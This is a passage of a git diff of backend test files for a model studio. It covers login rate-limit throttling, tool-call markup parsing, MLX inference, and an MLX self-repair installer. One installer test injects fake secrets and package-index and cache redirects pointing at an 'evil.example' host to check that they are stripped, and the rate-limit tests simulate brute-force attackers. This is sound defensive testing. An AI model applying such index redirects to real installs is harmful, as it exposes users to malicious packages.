"admin")) + + assert all(len(shard) <= 8 for shard in auth_routes._LOGIN_IP_OVERFLOW) + + def test_overflow_eviction_does_not_inherit_count_onto_new_ip(self, env_no_proxy, monkeypatch): + """Evicting a hot entry to make room must not hand its failure count to the + new source; one attempt from an unrelated IP must not 429 it. + """ + from routes import auth as auth_routes + + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10) + monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5) + monkeypatch.setattr(auth_routes, "_LOGIN_IP_OVERFLOW_MAX", 2) + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100) + # Force every overflow IP into one shard so we can saturate it. + shard0 = auth_routes._LOGIN_IP_OVERFLOW[0] + monkeypatch.setattr(auth_routes, "_overflow_shard", lambda _ip: shard0) + + for idx in range(10): + auth_routes._record_login_failure((f"10.0.0.{idx}", "admin")) + # Fill the shard (cap 2) with two hot IPs at/over the threshold. + for _ in range(5): + auth_routes._record_login_failure(("198.51.100.1", "admin")) + for _ in range(5): + auth_routes._record_login_failure(("198.51.100.2", "admin")) + assert len(shard0) == 2 + + # A new IP evicts the lowest-count entry; it must start clean, so one + # failure leaves it below the threshold and unblocked. + new_ip = ("203.0.113.50", "admin") + auth_routes._record_login_failure(new_ip) + assert auth_routes._login_blocked(new_ip) == 0 + + def test_overflow_count_migrates_into_new_bucket(self, env_no_proxy, monkeypatch): + """Straddling the overflow -> bucket transition must not double the per-IP + limit: the overflow count carries into the freshly created bucket. + """ + from routes import auth as auth_routes + + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10) + monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5) + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100) + + # Saturate, then push one IP to 4 overflow failures (one below threshold). + for idx in range(10): + auth_routes._record_login_failure((f"10.0.0.{idx}", "admin")) + attacker = ("198.51.100.7", "admin") + for _ in range(4): + auth_routes._record_login_failure(attacker) + assert auth_routes._login_blocked(attacker) == 0 # 4 < 5 + + # Free a slot so the next failure lands in a fresh per-IP bucket. + auth_routes._clear_login_bucket(("10.0.0.0", "admin")) + # One more failure must throttle (4 carried + 1 = 5), not reset to 1. + auth_routes._record_login_failure(attacker) + assert auth_routes._login_blocked(attacker) > 0 + + def test_overflow_migration_is_bounded_not_one_entry_per_failure( + self, env_no_proxy, monkeypatch + ): + """A saturated IP can rack up many overflow failures; migrating them into a + fresh bucket must allocate at most the per-IP threshold worth of entries, + not one deque entry per recorded failure (which would let a single later + attempt allocate an arbitrarily large deque under the login lock). + """ + from routes import auth as auth_routes + + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10) + monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5) + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100000) + + # Saturate the dict, then hammer one IP far past the threshold in overflow. + for idx in range(10): + auth_routes._record_login_failure((f"10.0.0.{idx}", "admin")) + attacker_ip = "198.51.100.7" + attacker = (attacker_ip, "admin") + for _ in range(5000): + auth_routes._record_login_failure(attacker) + # The stored overflow count is clamped at the threshold, not 5000. + entry = auth_routes._overflow_shard(attacker_ip).get(attacker_ip) + assert entry is not None and entry[0] <= auth_routes._LOGIN_IP_MAX_FAILS + + # Free a slot so the next failure migrates the overflow count into a bucket. + auth_routes._clear_login_bucket(("10.0.0.0", "admin")) + auth_routes._record_login_failure(attacker) + bucket = auth_routes._LOGIN_IP_BUCKETS[attacker_ip] + # Bounded by the threshold (+1 for the triggering failure), not ~5000. + assert len(bucket) <= auth_routes._LOGIN_IP_MAX_FAILS + 1 + # Still throttled -- bounding the migration must not weaken the limit. + assert auth_routes._login_blocked(attacker) > 0 + + def test_successful_login_clears_overflow_throttle(self, env_no_proxy, monkeypatch): + """A successful login resets the IP's throttle, including overflow, so a + single later typo is not immediately blocked. + """ + from routes import auth as auth_routes + + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10) + monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5) + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100) + + # Saturate the dict, then push one IP into overflow until it is throttled. + for idx in range(10): + auth_routes._record_login_failure((f"10.0.0.{idx}", "admin")) + ip = ("198.51.100.7", "admin") + for _ in range(5): + auth_routes._record_login_failure(ip) + assert auth_routes._login_blocked(ip) > 0 + + # A successful login from that IP clears its overflow entries... + auth_routes._clear_login_bucket(ip) + assert auth_routes._login_blocked(ip) == 0 + # ...and a single subsequent failure does not immediately re-block it. + auth_routes._record_login_failure(ip) + assert auth_routes._login_blocked(ip) == 0 + # ---------- /login 429 body ---------- diff --git a/studio/backend/tests/test_mcp_servers.py b/studio/backend/tests/test_mcp_servers.py index 90b1ade03c..6d26d075cf 100644 --- a/studio/backend/tests/test_mcp_servers.py +++ b/studio/backend/tests/test_mcp_servers.py @@ -423,6 +423,46 @@ def test_tool_healing_strip_handles_hyphenated_function_names(): assert out == "before after" +def test_tool_healing_strip_handles_gemma_native_tool_call(): + from core.tool_healing import strip_tool_call_markup + out = strip_tool_call_markup( + 'before <|tool_call>call:mcp__srv__list-issues{repo:"octocat/hello"} after' + ) + assert out == "before after" + + +def test_tool_healing_strip_handles_gemma_close_only_marker(): + from core.tool_healing import strip_tool_call_markup + assert strip_tool_call_markup("before after") == "before after" + assert strip_tool_call_markup("before after", final = True) == "before after" + + +def test_tool_healing_parser_handles_gemma_native_windows_path(): + from core.tool_healing import parse_tool_calls_from_text + import json as _json + + calls = parse_tool_calls_from_text( + r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}' + ) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "ls" + assert _json.loads(calls[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"} + + +def test_tool_healing_json_parser_preserves_literal_gemma_quote_token(): + from core.tool_healing import parse_tool_calls_from_text + import json as _json + + text = ( + "" + + _json.dumps({"name": "python", "arguments": {"code": "print('<|\"|>')"}}) + + "" + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + assert _json.loads(calls[0]["function"]["arguments"]) == {"code": "print('<|\"|>')"} + + def test_gguf_allow_list_blocks_unadvertised_tool(monkeypatch): """A tool call not in the per-request list must be refused by the GGUF agentic loop (mirroring the safetensors path).""" @@ -547,10 +587,12 @@ def test_tool_xml_strip_handles_hyphenated_function_names(): import re as _re from pathlib import Path + from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC + src = (Path(__file__).resolve().parent.parent / "routes/inference.py").read_text() m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", src, _re.DOTALL) assert m, "could not extract _TOOL_XML_RE" - ns: dict = {"_re": _re} + ns: dict = {"_re": _re, "_DS_OPEN_SRC": _DS_OPEN_SRC} exec(f"_TOOL_XML_RE = _re.compile({m.group(1)})", ns) rx = ns["_TOOL_XML_RE"] stripped = rx.sub( diff --git a/studio/backend/tests/test_message_content.py b/studio/backend/tests/test_message_content.py new file mode 100644 index 0000000000..6da3682141 --- /dev/null +++ b/studio/backend/tests/test_message_content.py @@ -0,0 +1,100 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for `content_to_text`, the #4383 fix for list-form message content. + +Loaded by file path so the test skips importing ``core.inference`` (whose +``__init__`` pulls in the orchestrator + llama_cpp / torch). +""" + +import importlib.util +from pathlib import Path + + +_BACKEND_DIR = Path(__file__).resolve().parent.parent + + +def _load_message_content(): + path = _BACKEND_DIR / "core/inference/message_content.py" + spec = importlib.util.spec_from_file_location("message_content_under_test", path) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + + +def test_string_is_returned_unchanged(): + mc = _load_message_content() + assert mc.content_to_text("hello world") == "hello world" + assert mc.content_to_text("") == "" + + +def test_none_becomes_empty_string(): + mc = _load_message_content() + assert mc.content_to_text(None) == "" + + +def test_single_text_part_list(): + mc = _load_message_content() + content = [{"type": "text", "text": "hello"}] + assert mc.content_to_text(content) == "hello" + + +def test_multimodal_list_drops_non_text_parts(): + mc = _load_message_content() + content = [ + {"type": "text", "text": "describe this"}, + {"type": "image_url", "image_url": {"url": "data:image/png;base64,AAAA"}}, + ] + assert mc.content_to_text(content) == "describe this" + + +def test_multiple_text_parts_joined_with_newline(): + mc = _load_message_content() + content = [ + {"type": "text", "text": "first"}, + {"type": "text", "text": "second"}, + ] + assert mc.content_to_text(content) == "first\nsecond" + + +def test_bare_string_items_in_list(): + mc = _load_message_content() + assert mc.content_to_text(["a", "b"]) == "a\nb" + + +def test_audio_and_image_only_list_is_empty(): + mc = _load_message_content() + content = [ + {"type": "image_url", "image_url": {"url": "x"}}, + {"type": "input_audio", "input_audio": {"data": "y", "format": "wav"}}, + ] + assert mc.content_to_text(content) == "" + + +def test_part_without_type_treated_as_text(): + mc = _load_message_content() + # A ``text`` field with no ``type`` is treated as text. + assert mc.content_to_text([{"text": "untyped"}]) == "untyped" + + +def test_empty_text_parts_skipped(): + mc = _load_message_content() + content = [ + {"type": "text", "text": ""}, + {"type": "text", "text": "kept"}, + ] + assert mc.content_to_text(content) == "kept" + + +def test_tuple_behaves_like_list(): + mc = _load_message_content() + content = ({"type": "text", "text": "x"}, {"type": "text", "text": "y"}) + assert mc.content_to_text(content) == "x\ny" + + +def test_result_supports_string_ops(): + mc = _load_message_content() + # Crux of #4383: result must be a plain str for caller .strip()/.replace(). + out = mc.content_to_text([{"type": "text", "text": " padded "}]) + assert out.strip() == "padded" + assert isinstance(out, str) diff --git a/studio/backend/tests/test_mlx_inference_backend.py b/studio/backend/tests/test_mlx_inference_backend.py index 9871965ce8..55a3198a6b 100644 --- a/studio/backend/tests/test_mlx_inference_backend.py +++ b/studio/backend/tests/test_mlx_inference_backend.py @@ -4,6 +4,8 @@ import sys import types from types import SimpleNamespace +import pytest + class _DummyMetal: @staticmethod @@ -100,6 +102,32 @@ def test_mlx_inference_text_load_forwards_studio_settings(monkeypatch): ] assert backend._is_vlm is False assert isinstance(backend._tokenizer, _DummyTokenizer) + # Non-LoRA text model: no base_model on the record. + assert backend.models["fake/text"]["base_model"] is None + + +def test_mlx_text_lora_record_keeps_base_model_for_native_template(monkeypatch): + # A LoRA adapter's own tokenizer often ships no chat template; the native tool-calling template + # lives on the base model. + _install_fake_mlx(monkeypatch) + calls = [] + _install_fake_fast_mlx(monkeypatch, calls) + + from core.inference.mlx_inference import MLXInferenceBackend + + backend = MLXInferenceBackend() + config = SimpleNamespace( + identifier = "fake/text-adapter", + is_vision = False, + is_lora = True, + base_model = "fake/text-base", + ) + + assert backend.load_model(config, max_seq_length = 4096, hf_token = "hf-token") + + record = backend.models["fake/text-adapter"] + assert record["is_lora"] is True + assert record["base_model"] == "fake/text-base" def test_mlx_inference_vlm_lora_uses_unsloth_loader_without_native_adapter_rewrite( @@ -159,6 +187,129 @@ def test_mlx_inference_vlm_lora_uses_unsloth_loader_without_native_adapter_rewri assert isinstance(backend._tokenizer, _DummyTokenizer) +def test_mlx_inference_distributed_vlm_forwards_group_to_fast_mlx(monkeypatch): + _install_fake_mlx(monkeypatch) + calls = [] + _install_fake_fast_mlx(monkeypatch, calls) + from core.inference.mlx_inference import MLXInferenceBackend + + group = SimpleNamespace(size = lambda: 2, rank = lambda: 0) + config = SimpleNamespace(identifier = "fake/vlm", is_vision = True, is_lora = False) + for mode, group_key in (("tensor", "tensor_group"), ("pipeline", "pipeline_group")): + calls.clear() + assert MLXInferenceBackend().load_model(config, parallel_mode = mode, distributed_group = group) + _, kwargs = calls.pop() + assert kwargs["text_only"] is False and kwargs[group_key] is group + + calls.clear() + singleton = SimpleNamespace(size = lambda: 1, rank = lambda: 0) + assert MLXInferenceBackend().load_model( + config, parallel_mode = "tensor", distributed_group = singleton + ) + assert not {"tensor_group", "pipeline_group"} & set(calls.pop()[1]) + + config = SimpleNamespace(identifier = "fake/adapter", is_vision = False, is_lora = True) + with pytest.raises(ValueError, match = "LoRA adapter repos"): + MLXInferenceBackend().load_model(config, parallel_mode = "tensor", distributed_group = group) + + +@pytest.mark.parametrize("accepts_backend", (True, False)) +def test_mlx_distributed_init_selects_jaccl_backend(monkeypatch, accepts_backend): + _install_fake_mlx(monkeypatch) + from core.inference.mlx_inference import _init_mlx_distributed + + group = SimpleNamespace(rank = lambda: 1, size = lambda: 2) + calls = [] + + def _init(**kwargs): + calls.append(kwargs) + if kwargs and not accepts_backend: + raise TypeError("backend keyword unsupported") + return group + + sys.modules["mlx.core"].distributed = SimpleNamespace(init = _init) + monkeypatch.setenv("MLX_JACCL_COORDINATOR", "127.0.0.1:12345") + monkeypatch.setenv("MLX_IBV_DEVICES", "/tmp/devices.json") + + assert _init_mlx_distributed() == (group, 1, 2) + assert calls == ([{"backend": "jaccl"}] if accepts_backend else [{"backend": "jaccl"}, {}]) + + +def test_worker_share_object_receives_distributed_payload(monkeypatch): + from core.inference import worker + + shared_obj = {"type": "turn", "text": "hi"} + payload = worker._encode_share_object(shared_obj) + + def _array(value): + val = value.item() if hasattr(value, "item") else value + return SimpleNamespace( + item = lambda: val, + tolist = lambda: list(val) if hasattr(val, "__iter__") else [val], + ) + + mlx_pkg = types.ModuleType("mlx") + mlx_core = types.ModuleType("mlx.core") + mlx_core.uint8 = "uint8" + mlx_core.array = _array + mlx_core.zeros = lambda *_a, **_k: _array([]) + + def _all_sum(value, group = None): + value = value.item() if hasattr(value, "item") else value + return _array(len(payload)) if value == 0 else _array(payload) + + mlx_core.distributed = SimpleNamespace(all_sum = _all_sum) + mlx_pkg.core = mlx_core + monkeypatch.setitem(sys.modules, "mlx", mlx_pkg) + monkeypatch.setitem(sys.modules, "mlx.core", mlx_core) + + responses = [] + worker._handle_share_object( + SimpleNamespace( + _distributed_group = object(), + _distributed_rank = 1, + _distributed_world_size = 2, + ), + {"type": "share_object", "request_id": "rid", "object": None}, + SimpleNamespace(put = responses.append), + ) + + response = responses[0] + assert response["object"] == shared_obj + + +def test_worker_share_object_oversize_notifies_peers(monkeypatch): + from core.inference import worker + + calls = [] + + mlx_pkg = types.ModuleType("mlx") + mlx_core = types.ModuleType("mlx.core") + mlx_core.array = lambda value, **_kwargs: SimpleNamespace(item = lambda: value) + mlx_core.eval = lambda value: value + mlx_core.distributed = SimpleNamespace( + all_sum = lambda value, group = None: calls.append(value.item()) or value + ) + mlx_pkg.core = mlx_core + monkeypatch.setitem(sys.modules, "mlx", mlx_pkg) + monkeypatch.setitem(sys.modules, "mlx.core", mlx_core) + monkeypatch.setattr(worker, "_SHARE_OBJECT_MAX_BYTES", 8) + + responses = [] + worker._handle_share_object( + SimpleNamespace( + _distributed_group = object(), + _distributed_rank = 0, + _distributed_world_size = 2, + ), + {"type": "share_object", "request_id": "rid", "object": {"text": "too long"}}, + SimpleNamespace(put = responses.append), + ) + + assert calls == [worker._SHARE_OBJECT_ERROR_SIZE] + assert responses[0]["type"] == "share_error" + + # Regression: generate_chat_response must accept the four template kwargs # (tools / enable_thinking / reasoning_effort / preserve_thinking) so the route # layer can forward UI toggles. The old signature raised @@ -188,12 +339,12 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch): _install_fake_mlx(monkeypatch) from core.inference.mlx_inference import MLXInferenceBackend - captured = {} + # The text path renders once with tools, then the native-template fallback makes a second no- + # tools probe call (tools=None) to detect whether the template dropped the schema. + captured_calls = [] def _fake_apply(tokenizer, messages, **kwargs): - captured["tokenizer"] = tokenizer - captured["messages"] = messages - captured["kwargs"] = kwargs + captured_calls.append({"tokenizer": tokenizer, "messages": messages, "kwargs": kwargs}) return "" monkeypatch.setattr( @@ -248,8 +399,15 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch): ) ) assert out == ["hi"] - # The toggled kwargs must reach the chat-template helper. - assert captured["kwargs"]["tools"] == [{"function": {"name": "web_search"}}] - assert captured["kwargs"]["enable_thinking"] is True - assert captured["kwargs"]["reasoning_effort"] == "medium" - assert captured["kwargs"]["preserve_thinking"] is True + # The toggled kwargs must reach the chat-template helper on the real render + # (one of the calls carries the tools; the fallback probe passes tools=None). + tool_renders = [ + c + for c in captured_calls + if c["kwargs"].get("tools") == [{"function": {"name": "web_search"}}] + ] + assert tool_renders, captured_calls + render = tool_renders[0] + assert render["kwargs"]["enable_thinking"] is True + assert render["kwargs"]["reasoning_effort"] == "medium" + assert render["kwargs"]["preserve_thinking"] is True diff --git a/studio/backend/tests/test_mlx_repair.py b/studio/backend/tests/test_mlx_repair.py new file mode 100644 index 0000000000..365cc46410 --- /dev/null +++ b/studio/backend/tests/test_mlx_repair.py @@ -0,0 +1,382 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""MLX self-heal: on Apple Silicon with MLX missing, reinstall it by name on a +background thread (off the startup critical path). No-op elsewhere / when present +/ when disabled. Models on core.training.worker's runtime backend self-heal. +""" + +from __future__ import annotations + +import sys +from pathlib import Path + +import pytest + +_BACKEND = Path(__file__).resolve().parent.parent +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +import utils.mlx_repair as mr # noqa: E402 + + +@pytest.fixture(autouse = True) +def _reset_attempt_guard(monkeypatch): + monkeypatch.setattr(mr, "_attempted", False) + monkeypatch.delenv(mr.DISABLE_ENV_VAR, raising = False) + + +def test_uv_cmd_targets_this_interpreter_with_mlx_packages(monkeypatch): + monkeypatch.setattr(mr, "_uv_executable", lambda: "/usr/bin/uv") + cmd = mr._uv_install_cmd("--upgrade", *mr.MLX_PACKAGES) + assert cmd is not None + assert cmd[:5] == ["/usr/bin/uv", "pip", "install", "--python", sys.executable] + assert set(mr.MLX_PACKAGES) <= set(cmd) + # Minimum versions are pinned so the resolver cannot backtrack to an old + # mlx-vlm that imports but breaks VLM Train/Export. + assert "mlx-vlm>=0.4.4" in cmd + + +def test_uv_executable_finds_installer_location_when_path_is_minimal(monkeypatch, tmp_path): + uv = tmp_path / ".local" / "bin" / "uv" + uv.parent.mkdir(parents = True) + uv.write_text("#!/bin/sh\n", encoding = "utf-8") + uv.chmod(0o755) + monkeypatch.setattr(mr.shutil, "which", lambda _x: None) + monkeypatch.setattr(mr.Path, "home", lambda: tmp_path) + assert mr._uv_executable() == str(uv) + + +def test_no_uv_repair_stays_chat_only_without_pip(monkeypatch): + monkeypatch.setattr(mr, "_uv_executable", lambda: None) + monkeypatch.setattr(mr, "_transformers_constraint_args", lambda: ([], None)) + called = {"run": False} + + def _fake_run(*_args, **_kwargs): + called["run"] = True + raise AssertionError("plain pip fallback must not run") + + monkeypatch.setattr(mr.subprocess, "run", _fake_run) + assert mr.attempt_mlx_repair() is False + assert called["run"] is False + + +def test_constraint_pins_installed_transformers(monkeypatch): + transformers = pytest.importorskip("transformers") + args, path = mr._transformers_constraint_args() + try: + assert args[:1] == ["--constraint"] + assert args[1] == path + assert Path(path).read_text().strip() == f"transformers=={transformers.__version__}" + finally: + if path: + Path(path).unlink(missing_ok = True) + + +def test_repair_install_pins_transformers_and_cleans_up(monkeypatch): + pytest.importorskip("transformers") + captured = {} + created_paths = [] + real_args = mr._transformers_constraint_args + + def _spy_args(): + args, path = real_args() + if path: + created_paths.append(path) + return args, path + + monkeypatch.setattr(mr, "_transformers_constraint_args", _spy_args) + monkeypatch.setattr(mr, "_uv_executable", lambda: "/usr/bin/uv") + + class _Result: + returncode = 0 + stdout = "" + + def _fake_run(cmd, **kwargs): + captured["cmd"] = cmd + captured["env"] = kwargs.get("env") + return _Result() + + monkeypatch.setattr(mr.subprocess, "run", _fake_run) + monkeypatch.setattr(mr, "mlx_stack_available", lambda: True) + + assert mr.attempt_mlx_repair() is True + cmd = captured["cmd"] + # transformers is pinned via a constraint file so the mlx install cannot + # upgrade it underneath Studio, and the temp constraint file is cleaned up. + assert "--constraint" in cmd + assert "--upgrade" in cmd + reinstall_pairs = set(zip(cmd, cmd[1:])) + for name in mr._MLX_PACKAGE_NAMES: + assert ("--reinstall-package", name) in reinstall_pairs + for pkg in mr.MLX_PACKAGES: + assert pkg in cmd + assert created_paths and not Path(created_paths[0]).exists() + # The install mirrors the main installer by relaxing the transformers pin via + # UV_OVERRIDE so a current mlx-vlm can coexist with transformers==4.57.6. + env = captured["env"] + assert env is not None + assert env.get("UV_OVERRIDE", "").endswith("overrides-darwin-arm64.txt") + + +def test_install_requires_prebuilt_wheels(monkeypatch): + # A source distribution's PEP 517 build backend runs arbitrary code at install + # time, before the post-install stack check. The unattended self-heal must + # require pre-built wheels so a malicious resolver-selected sdist cannot execute + # during ordinary Studio startup. mlx/mlx-metal ship wheels only and + # mlx-lm/mlx-vlm publish py3-none-any wheels, so a healthy self-heal still works. + pytest.importorskip("transformers") + captured = {} + + class _Result: + returncode = 0 + stdout = "" + + monkeypatch.setattr(mr, "_uv_executable", lambda: "/usr/bin/uv") + monkeypatch.setattr( + mr.subprocess, "run", lambda cmd, **k: captured.update(cmd = cmd) or _Result() + ) + monkeypatch.setattr(mr, "mlx_stack_available", lambda: True) + + assert mr.attempt_mlx_repair() is True + assert mr._ONLY_BINARY_ARG in captured["cmd"] + + +def test_install_env_drops_secrets_and_source_redirects(monkeypatch): + # The unattended self-heal must not hand resolver/build code the full Studio + # environment: secrets and package-source redirects are dropped, while the + # variables uv genuinely needs are forwarded. + monkeypatch.setenv("HF_TOKEN", "secret-hf") + monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "secret-aws") + monkeypatch.setenv("WANDB_API_KEY", "secret-wandb") + monkeypatch.setenv("UV_FIND_LINKS", "/tmp/evil") + monkeypatch.setenv("UV_DEFAULT_INDEX", "file:///tmp/evil-index") + monkeypatch.setenv("UV_INDEX_URL", "https://evil.example/simple") + monkeypatch.setenv("PIP_INDEX_URL", "https://evil.example/simple") + monkeypatch.setenv("UV_CACHE_DIR", "/tmp/evil-cache") + monkeypatch.setenv("XDG_CACHE_HOME", "/tmp/evil-xdg-cache") + monkeypatch.setenv("PATH", "/usr/bin:/bin") + monkeypatch.setenv("HOME", "/home/studio") + + env = mr._mlx_install_env() + + # Secrets never reach a (potentially malicious) build/install hook. + for secret in ("HF_TOKEN", "AWS_SECRET_ACCESS_KEY", "WANDB_API_KEY"): + assert secret not in env + # A poisoned process env cannot repoint the install at a hostile source or + # an attacker-staged cache (cache poisoning / symlink writes). + for redirect in ( + "UV_FIND_LINKS", + "UV_DEFAULT_INDEX", + "UV_INDEX_URL", + "PIP_INDEX_URL", + "UV_CACHE_DIR", + "XDG_CACHE_HOME", + ): + assert redirect not in env + # What uv genuinely needs is still forwarded. + assert env["PATH"] == "/usr/bin:/bin" + assert env["HOME"] == "/home/studio" + # UV_OVERRIDE is set by us (not inherited), so a poisoned one is ignored. + assert env.get("UV_OVERRIDE", "").endswith("overrides-darwin-arm64.txt") + + +def test_repair_rejects_inadequate_stack(monkeypatch): + # A successful uv run that still leaves an old/missing mlx-vlm must NOT clear + # chat-only: attempt_mlx_repair returns False so Train/Export stay disabled. + class _Result: + returncode = 0 + stdout = "" + + monkeypatch.setattr(mr.subprocess, "run", lambda *a, **k: _Result()) + monkeypatch.setattr(mr, "mlx_stack_available", lambda: False) + assert mr.attempt_mlx_repair() is False + + +def test_repair_invalidates_import_caches_before_stack_check(monkeypatch): + events = [] + + class _Result: + returncode = 0 + stdout = "" + + def _stack_available(): + events.append("check") + assert events == ["invalidate", "check"] + return True + + monkeypatch.setattr(mr.subprocess, "run", lambda *a, **k: _Result()) + monkeypatch.setattr(mr, "_uv_executable", lambda: "/usr/bin/uv") + monkeypatch.setattr(mr, "_transformers_constraint_args", lambda: ([], None)) + monkeypatch.setattr(mr.importlib, "invalidate_caches", lambda: events.append("invalidate")) + monkeypatch.setattr(mr, "mlx_stack_available", _stack_available) + + assert mr.attempt_mlx_repair() is True + assert events == ["invalidate", "check"] + + +def test_stack_unavailable_without_mlx(monkeypatch): + import importlib.metadata as metadata + + def _missing(_name): + raise metadata.PackageNotFoundError(_name) + + monkeypatch.setattr(metadata, "version", _missing) + assert mr.mlx_stack_available() is False + + +def test_stack_unavailable_checks_versions_before_imports(monkeypatch): + import importlib.metadata as metadata + + def _version(name): + if name == "mlx": + return "0.21.0" + return mr._MLX_MIN_VERSIONS[name] + + def _import_module(_name): + raise AssertionError("MLX modules must not import before versions pass") + + monkeypatch.setattr(metadata, "version", _version) + monkeypatch.setattr(mr.importlib, "import_module", _import_module) + assert mr.mlx_stack_available() is False + + +def test_stack_unavailable_when_companion_import_fails(monkeypatch): + import importlib.metadata as metadata + + monkeypatch.setattr(metadata, "version", lambda name: mr._MLX_MIN_VERSIONS[name]) + + def _import_module(name): + if name == "mlx_vlm": + raise ModuleNotFoundError(name) + return object() + + monkeypatch.setattr(mr.importlib, "import_module", _import_module) + assert mr.mlx_stack_available() is False + + +def test_stack_available_requires_runtime_imports_and_versions(monkeypatch): + import importlib.metadata as metadata + + imported = [] + + def _import_module(name): + imported.append(name) + return object() + + monkeypatch.setattr(mr.importlib, "import_module", _import_module) + monkeypatch.setattr(metadata, "version", lambda name: mr._MLX_MIN_VERSIONS[name]) + + assert mr.mlx_stack_available() is True + assert imported == list(mr._MLX_RUNTIME_IMPORTS) + + +def test_mlx_packages_exclude_known_bad_mlx_lm(): + # mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5); the install spec + # must exclude it so the resolver picks 0.31.2 or >=0.31.4. See mlx-lm #1242. + (mlx_lm_spec,) = [p for p in mr.MLX_PACKAGES if p.startswith("mlx-lm")] + assert mlx_lm_spec == "mlx-lm>=0.22.0,!=0.31.3" + + +@pytest.mark.parametrize("bad_form", ["0.31.3", "0.31.3.0"]) +def test_known_bad_installed_mlx_lm_triggers_repair(monkeypatch, bad_form): + # An installed 0.31.3 counts as unsatisfied so the self-heal replaces it; + # parsed-Version compare also catches the trailing-zero form 0.31.3.0. + import importlib.metadata as metadata + + def _version(name): + return bad_form if name == "mlx-lm" else mr._MLX_MIN_VERSIONS[name] + + monkeypatch.setattr(metadata, "version", _version) + monkeypatch.setattr( + mr.importlib, "import_module", lambda _n: pytest.fail("versions must gate imports") + ) + assert mr.mlx_stack_available() is False + + +def test_no_op_off_apple_silicon(monkeypatch): + monkeypatch.setattr(mr, "is_apple_silicon", lambda: False) + called = {"n": 0} + monkeypatch.setattr( + mr, "attempt_mlx_repair", lambda **_k: called.__setitem__("n", called["n"] + 1) or True + ) + assert mr.start_mlx_autorepair_if_needed() is False + assert called["n"] == 0 + + +def test_no_op_when_mlx_stack_present(monkeypatch): + monkeypatch.setattr(mr, "is_apple_silicon", lambda: True) + monkeypatch.setattr(mr, "mlx_stack_available", lambda: True) + started = mr.start_mlx_autorepair_if_needed() + assert started is False + + +def test_disable_env_skips(monkeypatch): + monkeypatch.setattr(mr, "is_apple_silicon", lambda: True) + monkeypatch.setattr(mr, "mlx_stack_available", lambda: False) + monkeypatch.setenv(mr.DISABLE_ENV_VAR, "1") + assert mr.start_mlx_autorepair_if_needed() is False + + +def test_apple_silicon_missing_mlx_starts_repair_and_redetects(monkeypatch): + import threading + + monkeypatch.setattr(mr, "is_apple_silicon", lambda: True) + monkeypatch.setattr(mr, "mlx_stack_available", lambda: False) + + repaired = {"called": False} + + def _fake_repair(**_kw): + repaired["called"] = True + return True + + redetected = {"called": False} + + # _run_repair_and_redetect imports utils.hardware.hardware lazily; stub repair + # and capture that re-detection is invoked on success. + monkeypatch.setattr(mr, "attempt_mlx_repair", _fake_repair) + + import utils.hardware.hardware as hw + + monkeypatch.setattr(hw, "detect_hardware", lambda: redetected.__setitem__("called", True)) + + started = mr.start_mlx_autorepair_if_needed() + assert started is True + + # Join the daemon thread deterministically. + for thread in threading.enumerate(): + if thread.name == "mlx-autorepair": + thread.join(timeout = 5) + + assert repaired["called"] is True + assert redetected["called"] is True + + +def test_attempts_only_once_per_process(monkeypatch): + monkeypatch.setattr(mr, "is_apple_silicon", lambda: True) + monkeypatch.setattr(mr, "mlx_stack_available", lambda: False) + monkeypatch.setattr(mr, "attempt_mlx_repair", lambda **_k: False) + + first = mr.start_mlx_autorepair_if_needed() + second = mr.start_mlx_autorepair_if_needed() + assert first is True + assert second is False # guard prevents a second concurrent attempt + + +def test_mlx_install_env_routes_uv_override_through_safe_path(monkeypatch): + # uv truncates UV_OVERRIDE at the first space (issue #6503). + seen = {} + + def _spy(path): + seen["path"] = path + return "/space free/marker.txt".replace(" ", "_") + + monkeypatch.setattr(mr, "uv_safe_path", _spy) + monkeypatch.delenv("UV_OVERRIDE", raising = False) + + env = mr._mlx_install_env() + + # The override file ships in the repo, so the helper must have run. + assert "path" in seen + assert str(seen["path"]).endswith("overrides-darwin-arm64.txt") + assert env["UV_OVERRIDE"] == "/space_free/marker.txt" diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py index 7d45bc735d..14fc0933d0 100644 --- a/studio/backend/tests/test_mlx_training_worker_config.py +++ b/studio/backend/tests/test_mlx_training_worker_config.py @@ -76,7 +76,7 @@ def test_mlx_studio_optimizer_aliases_are_explicit(): def test_mlx_studio_rejects_unknown_optimizer(): - with pytest.raises(ValueError, match = "Unsupported optimizer for MLX training"): + with pytest.raises(ValueError, match = "Supported"): _normalize_mlx_studio_optimizer("adamw_typo") @@ -92,6 +92,17 @@ def test_mlx_studio_keeps_hf_style_tokenizer_dual_purpose(): assert "processor = tokenizer if is_vlm else None" not in source +def 